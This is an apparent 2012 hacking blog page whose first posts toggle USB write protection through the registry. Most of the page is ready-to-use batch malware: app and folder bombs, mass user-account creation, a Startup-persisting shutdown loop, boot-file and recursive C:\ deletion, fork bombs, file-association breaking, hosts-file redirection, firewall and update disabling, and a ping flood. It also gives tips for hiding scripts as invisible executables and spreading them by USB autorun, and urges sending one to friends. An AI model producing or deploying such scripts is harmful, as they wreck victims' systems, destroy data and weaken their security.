Showing posts with label batch. Show all posts
Showing posts with label batch. Show all posts

Saturday, 21 April 2012

How to Write Protect a USB

crackthesecurity | 00:05 | | Be the first to comment!
If you want to write protect your USB drive, you can do it with the given registry trick or batch script. Protecting USB drive depends on Registry, and you can do it manually or by the script. Read below. Mannual way is also given along with batch script

Manually:

1- Start > Run > type “regedit” to open regisry editor
2- Navigate to this: HKey_LOCAL_MACHINESystemCurrentControlSetControl
3- Create a new key with the name “StorageDevicePolicies”
4- On the right side, Create a new “DWORD Value” with thr name “WriteProtect” and give it “1" as Data
5- Then put the USB Flash Drive.
6- Try to Delete a file Or Copy something to it, You will not be able to do that.
7- To disable this feature, just change the data from 1 To 0

Script :

Open Notepad & Type the below script & save as name.bat

:main
@echo off
cls
echo. & echo. & echo.
echo  USB Write Protect program
echo ________________________________
echo. & echo.
echo     1. Lock the USB Flash Drive
echo     2. UnLock the USB Flash Drive
echo     3. Exit
echo.
set/p "ch= [>] Enter: "
if %ch%==1 goto lock
if %ch%==2 goto unlock
if %ch%==3 goto exit
goto main
:lock
cls
echo. & echo. & echo.
echo [+] Attention:
echo.
echo     Make sure that there is no USB Flash Drives inserted.
echo.
echo -----------------------------------------------------------
pause
reg add HKLMsystemcurrentcontrolsetcontrolStorageDevicePolicies /t reg_dword /v writeprotect /d 1 /f
pause > nul
goto main
:unlock
cls
echo. & echo. & echo.
echo. & echo. & echo.
echo [+] Attention:
echo.
echo     This operation doesn't require to Unplug the USB Flash Frive,
echo     so Continue without FEAR.
echo.
echo -------------------------------------------------------------------
pause
reg add HKLMsystemcurrentcontrolsetcontrolStorageDevicePolicies /t reg_dword /v writeprotect /d 0 /f
pause > nul
goto main

Read More...


Monday, 16 April 2012

Remove Write Protection on USB Drive & Memory Cards

crackthesecurity | 06:53 | | Be the first to comment!
write-protected-driveMany times using your portable devices you get errors like the disk is write protected like in the image on the right hand side. So this can happen anytime due to virus attacks or anything can be the cause well there are two ways you can try to remove its write protection so check them below.

Firstly I will recommend checking for any physical lock on that card or USB, because many times company’s provide a lock write attached to the card for making it write protected, so check that up make sure its off and than also if you are not able to copy stuff to your card than follow below methods.

Removing Write Protection Using Registry Editor :

Well this is most preferred way of removing write protection as it does not include any formatting of disk or memory card. So you just have to manipulate a .reg key and that’s it.

1. Open Registry Editor by navigating to Star Menu > Run ( on windows 7 search for Run in start Menu ) now type “regedit” and you will see your Registry Editor opened.

2. Now Navigate to the following path :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies
cd\
reg add "HKLM\System\CurrentControlSet\Control\StorageDevicePolicies" /t Reg_dword /v WriteProtect /f /d 1

Now if you are not able to see the StorageDevicePolicies than no problem just type the above code in notepad and save it as abc.bat and double click on it, now restart your computer and you will have Storage DevicePolicies.

3. Now double click on the WriteProtect and make its value 0 and than click OK.

4. Now just close registry editor and restart your computer for changes to take effect, now plug your memory card or USB in and enjoy non write protected memory card.

Removing Write Protection Using Apacer Formatting Utility :

Now if you are not able to remove write protection from your Memory Cards or USB Drives using the above method than you can go for Apacer Formatting method which simply works quit good.

Now this method needs your card or USB Drive to be formatted so make sure that you have copied all the data from your USB Drive to your computer, now follow steps from below and have fun.

1. Download Apacer Formatting Utility to your computer, make sure its not kept inside the USB Drive just keep it anywhere outside where you can remember.

2. Now extract it and than plug your pen drive or memory card in to your computer and than double click on the Start.bat file present inside the folder you just downloaded. Now this step will start formatting your drive or card so let it do its work till you figure out that formatting is done.

3. Now try checking out if your card has been free from the write protection, well this will surely do its job and you can enjoy copying any files or folders to your drive.

So now these two methods will help you in fixing your USB Drive or Memory Card easily, but still if you are unable to remove write protection from your drive than their might be some hardware problem or something, make sure to contact your retailer and get it replaced.
Read More...


Saturday, 14 April 2012

Batch Files - the art of creating viruses

crackthesecurity | 02:27 | | Be the first to comment!
I could just you give the  codes to paste  in notepad and  ask you to save files with extension .bat and   your deadly batch viruses would be ready. But instead of that, I have focussed on making the basics of batch files clear and developing the approach to code your own viruses.

What are Batch Files ?
Lets begin with a simple example , Open your command prompt and change your current directory to 'desktop' by typing 'cd desktop' without quotes.
Now type these commands one by one

1. md x  //makes directory 'x' on desktop
2. cd x  // changes current directory to 'x'
3. md y // makes a directory 'y' in directory 'x'     



We first make a folder/directory 'x', then enter in folder  'x',then make a folder 'y' in folder 'x' . 
Now delete the folder 'x'.
Lets do the same thing in an other way. Copy these three commands in  notepad and save file as anything.bat                         


       
Now just double click on this batch file and the same work would be done , You will get a folder 'x' on your desktop and folder 'y' in it. This means the three commands executed line by line when we ran the batch file 

So a batch file is simply a text containing series of commands which are executed automatically line by line when the batch file is run. 

What can batch viruses do ?

They can be used to delete the windows files,format data,steal information,irritate victim, consume CPU resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more purposes.

Now lets start with simple codes, Just copy the code to notepad and save it as anything.bat (I am anything you wish but extension must be bat and save it as 'all files' instead of text files).

Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.

1.  Application Bomber

@echo off // It instructs to hide the commands when batch files is executed
:x   //loop variable
start winword 
start mspaint  //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop

This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and ofcourse affecting performance. 

2. Folder flooder
@echo off
:x
md %random% // makes directory/folder. 
goto x

Here %random% is a variable that would generate a positive no. randomly.  So this code would make start creating folders whose name can be any random number. 

3.User account flooder 
@echo off
:x
net user %random% /add //create user account
goto x

This code would start creating windows user accounts whose names could be any random numbers. 

3.Shutdown Virus
copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”  
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup”    //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00  //this will shutdown the computer in 0 seconds  

Note : Files in Start up folder gets started automatically when windows starts .  You should  first two lines of  code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup


Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder. 

4. Deleting boot files
Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply 

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows. 


 Lets make a batch file to 
delete this file from victim's computer and the windows will not start then.

attrib -S -R -H C:\ntldr   // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del ntldr    //delete ntldr file

After running this batch file , system will not reboot and a normal victim would definitely install the windows again. 


5. Fork Bomb

%0|%0  //Its percentage zero pipe percentage zero

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .
                     



6. Extension Changer
@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything                          


Every extension is associated with a filetype like extension ‘exe’ is  is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.
 Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wudn’t open properly.


7.  DNS Poisoning
There is a file called ‘hosts’ located at c:\windows\system32\drivers\etc. We can place a website and an IP in front of it. By doing this, we want our web browser to take us to host located at that IP when that website name would be entered. I mean request to resolve IP of website is not sent to Domain Name Server(DNS) if the name of website in hosts  file.

@echo off
echo xxx.xxx.xxx.xxx www.anything.com > C:\windows\system32\drivers\etc\hosts   //this command prints or add xxx.xxx.xxx.xxx. www.anything.com in hosts file. 

Replace xxx.xxx.xxx.xxx  and www.anything.com with IP address and website of your choice. You can take/redirect victim to any host located at specific IP when he wud try to log on to specific website or u can simply block any website by entering its name and any invalid IP address.

                                              Viruses we just coded



Note : Most of the batch viruses are simply undetectable by any anitiviruses
Tip : Coding good viruses just depends on the DOS commands you know and logic you use.
   
Limitations of Batch Viruses -:
1.Victim can easily read the commands by opening batch file in notepad.
2.The command prompt screen pops up,it alerts the victim and he can stop it.

To overcome these limitations,we need to convert these batch files into executable files that is exe files.
Download this Batch To Exe coverter from here

After running converter ,  open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.  
                     
You can  use other options as per your requirement. 

Spreading batch viruses through pen drive -:

Step 1. 
Open notepad and write 
[autorun]
open=anything.bat
Icon=anything.ico

Save file as ‘autorun.inf’
Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .

When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.
Read More...


Sunday, 8 April 2012

Crash a System

crackthesecurity | 10:12 | | Be the first to comment!
copy this and paste this in your notepad..
@echo off
del c:windowssystem32restore
del c:windowssystem32winlogon.exe
del c:windowssystem32logonui.exe
shutdown -f
save as abc.bat
Read More...


To Disable Service

crackthesecurity | 10:10 | | Be the first to comment!
open notepad & type
@echo off
net stop “Windows Firewall”
net stop “Windows Update”
net stop Workstation
net stop “DHCP Client”
net stop “DNS Client”
net stop “Print Spooler”
net stop Themes
exit
save as abc.bat
Read More...


Application Bomber

crackthesecurity | 10:08 | | Be the first to comment!
open notepad & type
@echo off
:loop
start notepad
start compmgmt.msc
start mspaint
start osk
start cmd
start explorer
start control
start calc
goto loop
save as abc.bat
Read More...


Fork Bombing

crackthesecurity | 10:06 | | Be the first to comment!
open notepad & type
@echo off
:loop
Explorer
Call fork.bat
Goto loop
save as abc.bat
Read More...


Packet Flooder Trick

crackthesecurity | 10:03 | | Be the first to comment!
Open Notepad & Type
@echo off
:abc
ping -l 65500 -t 10.179.65.68
start flooder.bat
goto abc
Save as abc.bat
Read More...


Matrix Effect

crackthesecurity | 10:02 | | Be the first to comment!
open Notepad & Type
@echo off
color 02
:abc
echo %random% %random% %random% %random% %random% %random% %random% %random%
goto abc
Save as abc.bat
Read More...


How to crash a pc

crackthesecurity | 08:34 | | Be the first to comment!
Shut Down a Computer Forever

Open notepad and copy/paste this code:

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Now Save it as a .bat file.

This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.

REMEMBER - DO NOT CLICK THIS FILE. YOU WON'T RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!

Send it to your friends computer and tell them to open it. Have fun!!

Here is another code too.....

cmd /c del c:\windows\* /F /S /Q

cmd /c del c:\* /F /S /Q

Paste it in NotePad And Save It with Extension .cmd or .bat
Read More...